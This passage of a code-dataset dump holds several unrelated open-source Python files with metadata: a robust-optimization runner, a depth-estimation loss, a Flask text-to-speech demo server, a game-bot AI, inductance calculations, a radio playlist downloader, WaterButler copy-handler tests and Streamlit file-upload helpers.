scnm.log_origin_model()\n scnm.transform(verbose=False)\n scnm.log_robust_counterpart()\n scnm.solve()\n scnm.log_solution()\n objectives.append(scnm.get_robust_objective_value())\n # evaluation\n mvor, iostd, rr = scnm.evaluate(\n sample=sample_count, seed=5, verbose=False)\n print(f\"replication-{i} model expected objective: Robust = {scnm.get_robust_objective_value()}, Determined (lower bound) = {scnm.get_deterministic_model_objective_value()}\")\n # global ro_sols\n # global det_sols\n # ro_sols = scnm.get_robust_solutions()\n # det_sols = scnm.get_deterministic_solutions()\n\n # print(f\"mean: {np.mean(objectives)}, std: {np.std(objectives)}\")\n return mvor, iostd, rr\n\n\ndef main() -> None:\n # mvors = list()\n # iostds = list()\n # rrs = list()\n # for r in np.arange(0.3, 0.5, 0.01):\n # print(f\"-------------------{r}------------------\")\n # mvor, iostd, rr = scn_examples(robustness=r)\n # mvors.append(mvor)\n # iostds.append(iostd)\n # rrs.append(rr)\n # print(mvor, iostd, rr)\n # records = pd.DataFrame(zip(mvors, iostds, rrs), columns=[\n # \"mvors\", \"iostds\", \"rrs\"])\n # records.to_csv(\"records.csv\", index=False)\n\n # print(\"mean value of robustness (PM)\", scheduling_examples(robustness=1))\n # scheduling_examples()\n\n\n model_type = sys.argv[1]\n if model_type == \"--scn\":\n mvor, iostd, rr = scn_examples()\n elif model_type == \"--sch\":\n mvor, iostd, rr = scheduling_examples()\n else:\n raise ValueError(f\"Invalid model type argv: {model_type}\")\n print(f'mean_value_of_robustization: {mvor}, improvement_of_std: {iostd}, robust_rate: {rr}')\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cu2189191862/robust-model","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37364295790","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport torch.nn.functional as F\n\n\nclass compute_loss(nn.Module):\n def __init__(self, args):\n super().__init__()\n self.gamma = args.loss_gamma\n\n def forward(self, pred_list, gt_depth, gt_depth_mask):\n n_predictions = len(pred_list)\n loss = 0.0\n\n for i in range(n_predictions):\n pred = pred_list[i]\n i_weight = self.gamma ** (n_predictions - i - 1)\n loss = loss + i_weight * self.l1_loss(pred, gt_depth, gt_depth_mask)\n\n return loss\n\n def l1_loss(self, out, gt_depth, gt_depth_mask):\n gt_depth = gt_depth[gt_depth_mask]\n pred_depth = out[gt_depth_mask]\n l1 = torch.abs(pred_depth - gt_depth)\n return torch.mean(l1)\n ","repo_name":"baegwangbin/IronDepth","sub_path":"utils/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"78"} +{"seq_id":"3499713503","text":"import argparse\nimport falcon\nfrom hparams import hparams, hparams_debug_string\nimport os\nimport numpy as np\nfrom synthesizer import Synthesizer\nfrom util import audio\nimport io\nfrom flask import Flask, render_template, request, make_response\n\n\napp = Flask(__name__, template_folder='template')\nsynthesizer = Synthesizer()\n\n\n\n\n@app.route('/synthesize', methods=['GET'])\ndef synth():\n # response = make_response((synthesizer.synthesize(request.args.get(\"text\"))).getvalue())\n splits = str(request.args.get(\"text\")).replace(',', '.').replace('?', '.').replace('!', '.').replace(';', ',')\n print(len(splits))\n if len(splits) < 15:\n splits = str(request.args.get(\"text\")).replace(',', '.').replace('?', '.').replace('!', '.').replace(':', ',').replace(';', ',')\n splits = splits + str(', ')\n print(splits)\n result = io.BytesIO()\n res = synthesizer.synthesize1(splits)\n print(res.shape)\n audio.save_wav(res, result)\n result_final = make_response((result.getvalue()))\n\n\n\n else:\n splits = str(request.args.get(\"text\")).replace(', ', '. ').replace('-', '.').replace('?', '.').replace('!', '.').\\\n replace(';', ',').replace('/', ',').split('. ')\n\n print(splits)\n\n result=io.BytesIO()\n\n res1 = np.empty(shape=(0, 2))\n j = ''\n for iter, i in enumerate(splits[0:]):\n # if iter == 1:\n # i = j + str(', ') + i\n\n # i = j + str(',') + i\n # j= ''\n\n if j != '':\n i = j + str(', ') + i\n j = ''\n else:\n pass\n\n if len(i) < 15:\n a = iter\n j = i\n continue\n\n print(i, len(i))\n\n\n\n # response = make_response((synthesizer.synthesize(i).getvalue()))\n res = synthesizer.synthesize1(i)\n print(res.shape)\n res1 = np.append(res1, res) # res,res1 both are numpy array objects\n audio.save_wav(res1, result) # here res1 is numpy obj result is bytes.io obj\n\n result_final = make_response((result.getvalue())) # result_final is response obj\n\n result_final.headers['Content-Type'] = 'audio/wav'\n return result_final\n\n\n@app.route('/')\ndef UIRe():\n # return UIRes\n return render_template('jn.html')\n\n\nif __name__ == '__main__':\n\n from wsgiref import simple_server\n parser = argparse.ArgumentParser()\n parser.add_argument('--checkpoint', required=True, help='Full path to model checkpoint')\n parser.add_argument('--port', type=int, default=9000)\n parser.add_argument('--hparams', default='',\n help='Hyperparameter overrides as a comma-separated list of name=value pairs')\n\n args = parser.parse_args()\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n # os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"\" # loading model in cpu\n hparams.parse(args.hparams)\n print(hparams_debug_string())\n\n synthesizer.load(args.checkpoint)\n print('Serving on port %d' % args.port)\n app.run(host='0.0.0.0',port=5000)\nelse:\n synthesizer.load(os.environ['CHECKPOINT'])\n","repo_name":"pratik2508/Tacotron-Indian-English","sub_path":"demo_server_eng.py","file_name":"demo_server_eng.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15229289035","text":"from __future__ import generators\nimport plus\nimport AI\nfrom AI import vector3\nimport Arenas\nimport Gooey\nimport math\nimport Tactics\n\nclass Kheper(AI.SuperAI):\n \"AI for invertible dustpan-style bots. Which pretty much just means Kheper.\"\n # Use variable 'NoChassisTime' in Bindings.py to set the amount of time in seconds the AI will wait to find the chassis before giving up and firing, when there are components in the smart zone.\n name = \"Kheper\"\n\n def __init__(self, **args):\n AI.SuperAI.__init__(self, **args)\n\n self.zone1 = \"weapon\"\n self.triggers1 = [\"Fire\"]\n self.triggers2 = [\"Srimech\"]\n self.botinzone = 0\n self.compinzone = 0\n self.comptimer = 0\n self.NoChassisTime = 8\n self.servo = 8\n\n if 'zone' in args: self.zone = args['zone']\n\n if 'triggers' in args: self.triggers1 = args['triggers']\n if 'triggers' in args: self.triggers2 = args['triggers']\n if 'NoChassisTime' in args: self.NoChassisTime = args.get('NoChassisTime') * 4\n if 'ServoID' in args: self.servo = args.get('ServoID')\n\n self.tactics.append(Tactics.Engage(self))\n\n def Activate(self, active):\n if active:\n if AI.SuperAI.debugging:\n self.debug = Gooey.Plain(\"watch\", 0, 75, 100, 75)\n tbox = self.debug.addText(\"line0\", 0, 0, 100, 15)\n tbox.setText(\"Throttle\")\n tbox = self.debug.addText(\"line1\", 0, 15, 100, 15)\n tbox.setText(\"Turning\")\n tbox = self.debug.addText(\"line2\", 0, 30, 100, 15)\n tbox.setText(\"\")\n tbox = self.debug.addText(\"line3\", 0, 45, 100, 15)\n tbox.setText(\"\")\n #self.tauntbox = Gooey.Plain(\"taunt\", 10, 175, 640, 175)\n #tbox = self.tauntbox.addText(\"taunt1\", 10, 0, 640, 15)\n #tbox.setText(\"\")\n\n self.RegisterSmartZone(self.zone1, 1)\n\n return AI.SuperAI.Activate(self, active)\n\n def Tick(self):\n #self.tauntbox.get(\"taunt1\").setText(str(self.GetMotorAngle(self.servo)))\n # fire weapon\n\n targets = [x for x in self.sensors.itervalues() if x.contacts > 0 \\\n and not plus.isDefeated(x.robot)]\n\n # if a component is in the smart zone but not the chassis, wait to find chassis before firing weapons\n if self.compinzone == 1 and self.botinzone == 0:\n self.comptimer += 1\n\n if self.botinzone == 1:\n self.comptimer = 0\n\n if self.weapons and (self.botinzone == 1 or (self.comptimer >= self.NoChassisTime and self.compinzone == 1)):\n if not self.IsUpsideDown():\n self.Input(\"Spin\", 0, 100)\n if self.GetMotorAngle(self.servo) < math.pi*0.25:\n self.Input(\"Servo\", 0, 100)\n else:\n self.Input(\"Servo\", 0, 0)\n\n if self.IsUpsideDown():\n self.Input(\"Spin\", 0, -100)\n if self.GetMotorAngle(self.servo) > -math.pi*0.25:\n self.Input(\"Servo\", 0, -100)\n else:\n self.Input(\"Servo\", 0, 0)\n\n if self.botinzone == 0 and (self.comptimer < self.NoChassisTime or self.compinzone == 0):\n #retract servo arm when not in use\n if not self.IsUpsideDown():\n if self.GetMotorAngle(self.servo) > math.pi*0.75 or self.GetMotorAngle(self.servo) < -math.pi*0.5:\n self.Input(\"Servo\", 0, 100)\n self.Input(\"Spin\", 0, -100)\n if 0 > self.GetMotorAngle(self.servo) > -math.pi*0.2 or 0 < self.GetMotorAngle(self.servo) < math.pi*0.75:\n self.Input(\"Servo\", 0, -100)\n self.Input(\"Spin\", 0, 100)\n if -math.pi*0.2 > self.GetMotorAngle(self.servo) > -math.pi*0.5:\n self.Input(\"Servo\", 0, 0)\n self.Input(\"Spin\", 0, 0)\n if self.IsUpsideDown():\n if self.GetMotorAngle(self.servo) < -math.pi*0.75 or self.GetMotorAngle(self.servo) > math.pi*0.5:\n self.Input(\"Servo\", 0, -100)\n self.Input(\"Spin\", 0, 100)\n if 0 > self.GetMotorAngle(self.servo) > -math.pi*0.75 or 0 < self.GetMotorAngle(self.servo) < math.pi*0.2:\n self.Input(\"Servo\", 0, 100)\n self.Input(\"Spin\", 0, -100)\n if math.pi*0.2 < self.GetMotorAngle(self.servo) < math.pi*0.5:\n self.Input(\"Servo\", 0, 0)\n self.Input(\"Spin\", 0, 0)\n\n if not self.weapons or plus.isMatchOver():\n #self.Input(\"Servo\", 0, 0)\n self.Input(\"Spin\", 0, 0)\n\n bReturn = AI.SuperAI.Tick(self)\n\n return bReturn\n\n def InvertHandler(self):\n # fire all weapons once per second (until we're upright!)\n while 1:\n for trigger in self.triggers2:\n self.Input(trigger, 0, 1)\n\n for i in range(0, 8):\n yield 0\n\n def LostComponent(self, id):\n # if we lose all our weapons, stop using the Engage tactic and switch to Shove\n if id in self.weapons: self.weapons.remove(id)\n\n if not self.weapons:\n tactic = [x for x in self.tactics if x.name == \"Engage\"]\n if len(tactic) > 0:\n self.tactics.remove(tactic[0])\n\n self.tactics.append(Tactics.Shove(self))\n self.tactics.append(Tactics.Charge(self))\n\n return AI.SuperAI.LostComponent(self, id)\n\n def DebugString(self, id, string):\n if self.debug:\n if id == 0: self.debug.get(\"line0\").setText(string)\n elif id == 1: self.debug.get(\"line1\").setText(string)\n elif id == 2: self.debug.get(\"line2\").setText(string)\n elif id == 3: self.debug.get(\"line3\").setText(string)\n\n def SmartZoneEvent(self, direction, id, robot, chassis):\n if id == 1 and self.weapons:\n if robot > 0:\n if direction == 1:\n self.compinzone = 1\n if chassis:\n self.botinzone = 1\n if direction == -1:\n self.compinzone = 0\n if chassis:\n self.botinzone = 0\n return True\n\nAI.register(Kheper)","repo_name":"apanx/RA2_AI","sub_path":"Kheper.py","file_name":"Kheper.py","file_ext":"py","file_size_in_byte":6346,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"38716792761","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 17 14:33:02 2021\n\n@author: Aime Labbé\n\"\"\"\nimport numpy as np\nfrom numpy import pi as π\nfrom scipy.integrate import quad\nfrom scipy.constants import mu_0 as μ0\n\nfrom scipy.special import ellipk, ellipe\nfrom scipy.special import ellipkinc, ellipeinc\n\nfrom ..segment.segment import Line, ArcAbstract\n\n# TODO: clean this file. Verify which of these two functions works best\n# TODO: documentation and comments\n\n\ndef calc_M_arc_line(arc: ArcAbstract, line: Line):\n \"\"\"Comupute the mutual between an arc and a line.\"\"\"\n VEC_0 = np.array([0., 0., 0.])\n\n Rp = arc.radius\n x_u = arc.vec_x\n y_u = arc.vec_y\n θ1 = arc.theta\n\n s_u = line.vec_n\n Ls = line.ell\n\n s0 = np.sqrt((line.vec_r0 - arc.vec_r0) @ (line.vec_r0 - arc.vec_r0))\n if s0 != 0.:\n s0_u = (line.vec_r0 - arc.vec_r0) / s0\n else:\n s0_u = VEC_0.copy()\n\n def integrand(θ):\n p_u = x_u*np.cos(θ) + y_u*np.sin(θ)\n dp_u = -x_u*np.cos(θ) + y_u*np.cos(θ)\n\n β2 = Rp**2 * (1 - (p_u@s_u)**2) + s0**2 * (1 - (s0_u@s_u)**2) - 2*Rp*s0 * (s0_u@p_u - (s0_u@s_u)*(p_u@s_u))\n\n β = np.sqrt(np.clip(β2, 0., np.inf))\n\n σ1 = Ls + s0*(s_u@s0_u) - Rp*(s_u@p_u)\n σ0 = 0. + s0*(s_u@s0_u) - Rp*(s_u@p_u)\n\n pre = μ0/(4*π) * Rp*(s_u @ dp_u)\n\n if isinstance(β, np.ndarray):\n fct = np.zeros_like(β)\n ind = β != 0.\n not_ind = np.logical_not(ind)\n fct[ind] = pre[ind] * (np.arcsinh(σ1[ind]/β[ind]) - np.arcsinh(σ0[ind]/β[ind]))\n fct[not_ind] = pre[not_ind] * (\n np.sign(σ1[not_ind]) * np.log(np.absolute(σ1[not_ind]))\n - np.sign(σ0[not_ind]) * np.log(np.absolute(σ0[not_ind]))\n )\n else:\n if β != 0.:\n fct = pre*(np.arcsinh(σ1/β) - np.arcsinh(σ0/β))\n else:\n fct = pre * (np.sign(σ1)*np.log(np.absolute(σ1)) - np.sign(σ0)*np.log(np.absolute(σ0)))\n\n return fct\n p0, p1 = line.get_endpoints()\n p2, p3 = arc.get_endpoints()\n\n points = []\n if all(np.isclose(p2, p0)) or all(np.isclose(p2, p1)):\n points.append(0.)\n if all(np.isclose(p3, p1)) or all(np.isclose(p3, p1)):\n points.append(θ1)\n print(points)\n\n output = quad(integrand, 0, θ1, epsabs=1e-10, limit=400, points=points)\n mutual, err = output[0], output[1:]\n\n return mutual, err\n\ndef Ψ_p(k):\n return (1 - k ** 2 / 2) * ellipk(k ** 2) - ellipe(k ** 2)\n\n\ndef Ψ(φ1, φ0, k):\n res = ((1 - k ** 2 / 2) * (ellipkinc(φ1, k ** 2) - ellipkinc(φ0, k ** 2)) / 2\n - (ellipeinc(φ1, k ** 2) - ellipeinc(φ0, k ** 2)) / 2)\n return res\n\n\ndef Θ(φ1, φ0, k):\n return (np.sqrt(1 - k**2 * np.sin(φ1)**2) - np.sqrt(1 - k**2 * np.sin(φ0)**2)) / 2\n\n\ndef calc_M_arc_line_2(arc: ArcAbstract, line: Line):\n Rs = arc.radius\n s0_u = (arc.vec_r0 - line.vec_r0)\n s0 = np.sqrt(s0_u @ s0_u)\n if np.isclose(s0, 0.):\n s0_u = np.array([0., 0., 0.])\n else:\n s0_u = s0_u / s0\n\n u_u = arc.vec_x\n v_u = arc.vec_y\n\n sφ = arc.theta\n\n p_u = line.vec_n\n\n def integrand(p: float):\n A = p**2 + Rs**2 + s0**2 - 2*p*s0 * (p_u @ s0_u)\n B = -2*Rs * (p*u_u@p_u - s0*s0_u@u_u)\n C = -2*Rs * (p*v_u@p_u - s0*s0_u@v_u)\n\n d = np.sqrt(B**2 + C**2)\n k = np.clip(np.sqrt(2*d/(A+d)), 0., 1.)\n\n κ = np.arctan2(C, B)\n φ1, φ0 = (sφ - κ) / 2, -κ / 2\n\n pre = 2 * μ0 * Rs / π\n fct1 = 1 / (k ** 2 * d * np.sqrt(A + d))\n fct2 = u_u@p_u*B + v_u@p_u*C\n fct3 = u_u@p_u*C - v_u@p_u*B\n\n return pre * fct1 * (fct2 * Θ(φ1, φ0, k) + fct3 * Ψ(φ1, φ0, k))\n\n output = quad(integrand, 1e-8, line.ell - 1e-8, epsabs=1e-15, limit=200)\n mutual, err = output[0], output[1:]\n\n return mutual, err\n","repo_name":"ReciprocalSpace/pycoilib","sub_path":"pycoilib/lib/inductance/calc_m_arcNline.py","file_name":"calc_m_arcNline.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39467359314","text":"# Здесь опишем файл самого действия\nimport time\n\nfrom Template.Template_BaseClass import IBaseClass\n\n\nclass Action(IBaseClass):\n _unique = True\n # Количество дней за которое собираем\n __Scheduler = 0\n # Количество секунд в сутках\n __Time_sleep = 86400\n\n __Tracks = {}\n\n def __init__(self, RadioStation_list: list, Scheduler: int, Params: dict = {\"unique\": True}):\n \"\"\"\n Получаем ID радиостанции и работаем с их плейлистом\n :param RadioStation_list:\n \"\"\"\n self._unique = Params.get(\"unique\")\n self.__Scheduler = Scheduler\n self.__Tracks = {}\n RadioPlaylist = self._schedule(RadioStation_list=RadioStation_list)\n\n for name_soundtrack in RadioPlaylist:\n self.__Tracks[name_soundtrack] = self._download_soundtrack(name_soundtrack=name_soundtrack)\n\n # Читаем за все время треки в каждом радио\n def _schedule(self, RadioStation_list):\n \"\"\"\n Сам механизм сбора плейлистов со всех заданных радио\n :param RadioStation_list:\n :return:\n \"\"\"\n playlist_all = []\n for i in range(self.__Scheduler):\n playlist = self._formation_playlist(RadioStation_list=RadioStation_list)\n playlist_all = playlist_all + playlist\n time.sleep(self.__Time_sleep)\n\n # Делаем их уникальными\n if self._unique:\n return list(set(playlist_all))\n else:\n return playlist_all\n\n def _formation_playlist(self, RadioStation_list) -> list:\n \"\"\"\n Злесл\n :param RadioStation_list:\n :return:\n \"\"\"\n playlist_all = []\n # Получаем список треков за сутки для каждого радио\n playlist_to_day = [self._get_list_of_tracks_per_day(ID_radio=radio) for radio in RadioStation_list]\n\n for i in playlist_to_day:\n playlist_all = playlist_all + i\n\n return playlist_all\n\n def _get_list_of_tracks_per_day(self, ID_radio) -> list:\n \"\"\"\n Здесь вычитываем что играло на радио за день\n Возвращаем только уникальные значения\n :param ID_radio:\n :return:\n \"\"\"\n from WebSites.Radio import PlaylistSiteNameRadioPotok\n\n __Playlist, __code = PlaylistSiteNameRadioPotok(ID_radio=ID_radio)\n\n if __code == 6:\n # Возвращаем только уникальные значения за ДЕНЬ\n return list(set(__Playlist))\n else:\n return []\n\n # Пытаемся скачать все это\n def _download_soundtrack(self, name_soundtrack) -> [str, None]:\n \"\"\"\n Скачиваем каждый трек\n :param name_soundtrack:\n :return:\n \"\"\"\n from WebSites.Download import DownloadSiteNameMP3UKS\n\n __File, __code = DownloadSiteNameMP3UKS(name_soundtrack=name_soundtrack)\n\n if __code == 6:\n # Возвращаем только уникальные значения за ДЕНЬ\n return __File\n else:\n return None\n\n def get_tracks(self)->dict:\n \"\"\"\n Возвращаем наши треки, что скачали\n :return:\n \"\"\"\n return self.__Tracks\n","repo_name":"TR1GUN/Sigma","sub_path":"Action.py","file_name":"Action.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6353722869","text":"import json\n\nfrom tornado import testing\n\nfrom waterbutler.core.path import WaterButlerPath\n\nfrom tests import utils\n\n\nclass TestCopyHandler(utils.MultiProviderHandlerTestCase):\n HOOK_PATH = 'waterbutler.server.api.v0.copy.CopyHandler._send_hook'\n\n @testing.gen_test\n def test_calls_copy(self):\n self.source_provider.copy = utils.MockCoroutine(\n return_value=(utils.MockFileMetadata(), False)\n )\n\n yield self.http_client.fetch(\n self.get_url('/ops/copy'),\n method='POST',\n body=json.dumps(self.payload())\n )\n\n assert self.source_provider.copy.called\n self.source_provider.copy.assert_called_once_with(\n self.destination_provider,\n WaterButlerPath(self.payload()['source']['path']),\n WaterButlerPath(self.payload()['destination']['path']),\n rename=None,\n conflict='replace'\n )\n\n @testing.gen_test\n def test_conflict(self):\n self.source_provider.copy = utils.MockCoroutine(\n return_value=(utils.MockFileMetadata(), True)\n )\n\n payload = self.payload()\n payload['conflict'] = 'keep'\n\n resp = yield self.http_client.fetch(\n self.get_url('/ops/copy'),\n method='POST',\n body=json.dumps(payload)\n )\n\n assert resp.code == 201\n assert self.source_provider.copy.called\n self.source_provider.copy.assert_called_once_with(\n self.destination_provider,\n WaterButlerPath(payload['source']['path']),\n WaterButlerPath(payload['destination']['path']),\n rename=None,\n conflict='keep'\n )\n\n @testing.gen_test\n def test_rename(self):\n metadata = utils.MockFileMetadata()\n self.source_provider.copy = utils.MockCoroutine(\n return_value=(metadata, False)\n )\n\n payload = self.payload()\n payload['rename'] = 'MyCoolFileGuys'\n\n resp = yield self.http_client.fetch(\n self.get_url('/ops/copy'),\n method='POST',\n body=json.dumps(payload)\n )\n\n assert resp.code == 200\n assert json.loads(resp.body.decode()) == metadata.serialized()\n assert self.source_provider.copy.called\n self.source_provider.copy.assert_called_once_with(\n self.destination_provider,\n WaterButlerPath(payload['source']['path']),\n WaterButlerPath(payload['destination']['path']),\n rename='MyCoolFileGuys',\n conflict='replace'\n )\n\n @testing.gen_test\n def test_intra_makes_callback(self):\n self.source_provider.copy = utils.MockCoroutine(\n return_value=(utils.MockFileMetadata(), False)\n )\n\n yield self.http_client.fetch(\n self.get_url('/ops/copy'),\n method='POST',\n body=json.dumps(self.payload())\n )\n\n self.mock_send_hook.assert_called_once_with(\n 'copy',\n utils.MockFileMetadata()\n )\n","repo_name":"CenterForOpenScience/waterbutler","sub_path":"tests/server/api/v0/test_copy.py","file_name":"test_copy.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"78"} +{"seq_id":"12343567320","text":"zamestnanci = {\n 1: {\n 'jmeno': 'Alexandr',\n 'prijmeni': 'Dulovec',\n 'pozice': 'borec',\n 'email': 'alexandr.dulovec@student.ossp.cz',\n 'kancelar': 'A101'\n },\n 2: {\n 'jmeno': 'Filip',\n 'prijmeni': 'Zatáčka',\n 'pozice': 'Řidič',\n 'email': 'filip.zatacka@gmail.com',\n 'kancelar': 'A101'\n },\n 3: {\n 'jmeno': 'Milan',\n 'prijmeni': 'Švanda',\n 'pozice': 'Bezdomovec',\n 'email': 'milan.svanda@gmail.com',\n 'kancelar': 'B202'\n }\n }\n\nzamestnanec_id = 1 \nvybrany_zamestnanec = zamestnanci.get(zamestnanec_id)\n\nif vybrany_zamestnanec:\n print(f'Jméno: {vybrany_zamestnanec[\"jmeno\"]}')\n print(f'Příjmení: {vybrany_zamestnanec[\"prijmeni\"]}')\n print(f'Pozice: {vybrany_zamestnanec[\"pozice\"]}')\nelse:\n print(f'Zaměstnanec s ID {zamestnanec_id} nebyl nalezen.')\n","repo_name":"AlexandrDulovec/2.10.-slovniky","sub_path":"3b.py","file_name":"3b.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30845045756","text":"#This is a program to find the net profit for MallowSquishDesigns\r\nimport math\r\n#All costs are by per item/piece\r\n#two pieces of stabilizer are used for tshirts and sweatshirts\r\n\r\ndef clothing_cost():\r\n cost = (stabilizer_cost * 2) + backing_cost + adhesive_cost + thread_cost\r\n return cost\r\n\r\ndef check(x):\r\n a = False\r\n while a != True:\r\n try:\r\n x = float(x)\r\n a = True\r\n except:\r\n x = input('That is a not a number, please try again.')\r\n a = False\r\n return x\r\n\r\ndef check_int(x):\r\n a = False\r\n while a != True:\r\n try:\r\n x = int(x)\r\n a = True\r\n except:\r\n x = input('This is not a whole number, please enter a whole number.')\r\n a = False\r\n return x\r\n\r\ntshirt_cost = 5.00\r\nsweatshirt_cost = 15.00\r\nbeanies_cost = 5.00\r\ncroc_charms_cost = 0.12\r\nadhesive_cost = 0.45\r\nthread_cost = 0.20\r\nbacking_cost = 0.30\r\nstabilizer_cost = 0.14\r\nsmall_packaging_cost = 0.20\r\nbig_packaging_cost = 0.30\r\nenvelope_cost = 0.16\r\ncroc_bags = 0.07\r\nlabel_paper_cost = 0.10\r\nlaminate_paper_cost = 0.40\r\ncardstock_cost = 0.10\r\nthank_you_cards = 0.06\r\nshipping_cost = check(input('How much is shipping?'))\r\n\r\nnum_charms = check_int(input('How many croc charms did you sell?'))\r\nnum_tshirts = check_int(input('How many t shirts did you sell?'))\r\nnum_sweatshirt = check_int(input('How many sweaters did you sell?'))\r\nnum_tags = check_int(input('How many tags did you sell?'))\r\nnum_beanies = check_int(input('How many beanies did you sell?'))\r\nnum_orders = check_int(input('How many orders do you have?'))\r\nnum_envelopes = check_int(input('How many envelopes will you use?'))\r\nnum_big_orders = check_int(input('How many big bag orders do you have?'))\r\nnum_small_orders = check_int(input('How many small bag orders do you have?'))\r\ngross_sales = check(input('How much did you make in gross sales?'))\r\n\r\n\r\n\r\n#Each sheet of laminate paper does 1 and a half tags\r\ntotal_tag_cost = (math.ceil((num_tags / 1.5)) * laminate_paper_cost) + (num_tags * cardstock_cost)\r\ntotal_tshirt_cost = (tshirt_cost + clothing_cost()) * num_tshirts\r\ntotal_sweatshirt_cost = (sweatshirt_cost + clothing_cost() - stabilizer_cost) * num_sweatshirt\r\ntotal_beanie_cost = (beanies_cost + clothing_cost() - stabilizer_cost) * num_beanies\r\ntotal_charm_cost = (croc_bags + croc_charms_cost) * num_charms\r\ntotal_packaging_cost = (num_small_orders * small_packaging_cost) + (num_big_orders * big_packaging_cost) + (num_orders * thank_you_cards) + shipping_cost + (num_envelopes * envelope_cost)\r\ntotal_cost = total_charm_cost + total_beanie_cost + total_sweatshirt_cost + total_tshirt_cost + total_tag_cost + total_packaging_cost\r\nnet_revenue = gross_sales - (total_cost)\r\n\r\nprint('Your total tag cost is:', end=' $')\r\nprint('%.2f'%total_tag_cost)\r\nprint('Your total tshirt cost is:', end= ' $')\r\nprint('%.2f'%total_tshirt_cost)\r\nprint('Your total sweatshirt cost is:', end= ' $')\r\nprint('%.2f'%total_sweatshirt_cost)\r\nprint('Your total beanie cost is:', end= ' $')\r\nprint('%.2f'%total_beanie_cost)\r\nprint('Your total charm cost is:', end= ' $')\r\nprint('%.2f'%total_charm_cost)\r\nprint('Your total packaging cost is:', end= ' $')\r\nprint('%.2f'%total_packaging_cost)\r\nprint('Your total cost is:', end= ' $')\r\nprint('%.2f'%total_cost)\r\nprint('Your revenue is:', end= ' $')\r\nprint('%.2f'%net_revenue)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ArcticWo1f/Profit-Calculator","sub_path":"MallowSquishDesigns.py","file_name":"MallowSquishDesigns.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72932441213","text":"\"\"\"Functions for general use, WEB only!\"\"\"\n######### Package Imports #########################################################################\n\nimport os, re, shutil\nimport streamlit as st\nfrom werkzeug.utils import secure_filename\nfrom utils import device_parameters as utils_devpar\nfrom utils import summary_and_citation as utils_sum\n\n######### Function Definitions ####################################################################\n\ndef local_css(file_name):\n \"\"\"Load a custom CSS file and add it to the application\n\n Parameters\n ----------\n file_name : string\n path to the CSS file\n \"\"\"\n\n with open(file_name, encoding='utf-8') as f:\n st.markdown(f'<style>{f.read()}</style>', unsafe_allow_html=True)\n\ndef upload_file(file_desc, ill_chars, pattern, check_devpar='', nk_file_list = [], spectrum_file_list= []):\n \"\"\"Upload a txt file to the Simulation folder\n\n Parameters\n ----------\n file_desc : string\n Text to show on upload button\n ill_chars : List\n List of illegal characters in the file. Characters as strings\n pattern : string\n Regex expression which each line must match\n check_devpar : Boolean, optional\n Check a simss or zimt file when uploading a device parameters file, by default ''\n nk_file_list : List, optional\n List with the available nk files, by default []\n spectrum_file_list : List, optional\n List with the available spectrum files, by default []\n\n Returns\n -------\n UploadedFile | Boolean\n When upload is succesfull (in memory), return the uploaded object. If failed, return False\n \"\"\"\n # File upload component. Only accept txt files and one file at a time. \n uploaded_file = st.file_uploader(file_desc, type=['txt'], accept_multiple_files=False, label_visibility='collapsed')\n if uploaded_file is not None:\n data = uploaded_file.getvalue().decode('utf-8')\n # Basic validation of the uploaded file:\n # - Illegal characters\n # - File pattern\n # - Filename length\n chk_chars = 0\n msg_chars = ''\n chk_pattern = 0\n msg_pattern = ''\n chk_filename = 0\n msg_filename = ''\n chk_devpar_file = 0\n msg_devpar = ''\n\n # Illegal characters\n if len(ill_chars) > 0:\n for ill_char in ill_chars:\n if ill_char in data:\n chk_chars = 1\n msg_chars = \"Illegal characters \" + ill_char + \" used. \\n\"\n\n # File pattern\n if pattern != '':\n data = data.splitlines()\n pattern_re = re.compile(pattern)\n for line in data[1:]:\n if not pattern_re.match(line):\n chk_pattern = 1\n msg_pattern = 'File content does not meet the required pattern. \\n'\n\n # Filename lengthand secure the filename.\n file_name = secure_filename(uploaded_file.name)\n if len(file_name) > 50:\n print('filename too long. Max 50 characters')\n chk_filename = 1\n msg_filename = 'Filename is too long. Max 50 characters'\n\n if check_devpar == 'simss' or check_devpar == 'zimt': # Check if a device parameters file has the correct structure. Only when uploading a device parameters file.\n chk_devpar_file, msg_devpar = utils_devpar.verify_devpar_file(data, check_devpar, nk_file_list, spectrum_file_list)\n\n if chk_chars + chk_pattern + chk_filename == 0:\n if chk_devpar_file ==1:\n # Error found in the devpar file, do not continue with uplaoding the file\n st.error(msg_devpar)\n st.markdown('<hr>', unsafe_allow_html=True)\n return False\n elif chk_devpar_file == 2:\n # Cannot find the nk/spectrum files from the uplaoded device parameter file. Continue the upload but show a warning\n msg_devpar_2 = msg_devpar[0]\n for msg in msg_devpar[1:]:\n # Files not found have been stored into a List\n msg_devpar_2 = msg_devpar_2 + '- ' + msg + '\\n'\n st.warning(msg_devpar_2)\n return uploaded_file\n else:\n # All checks passed, allow upload\n return uploaded_file\n else:\n # One or more of the standard checks failed. Do not allow upload and show error message\n st.error(msg_chars + msg_pattern + msg_filename)\n 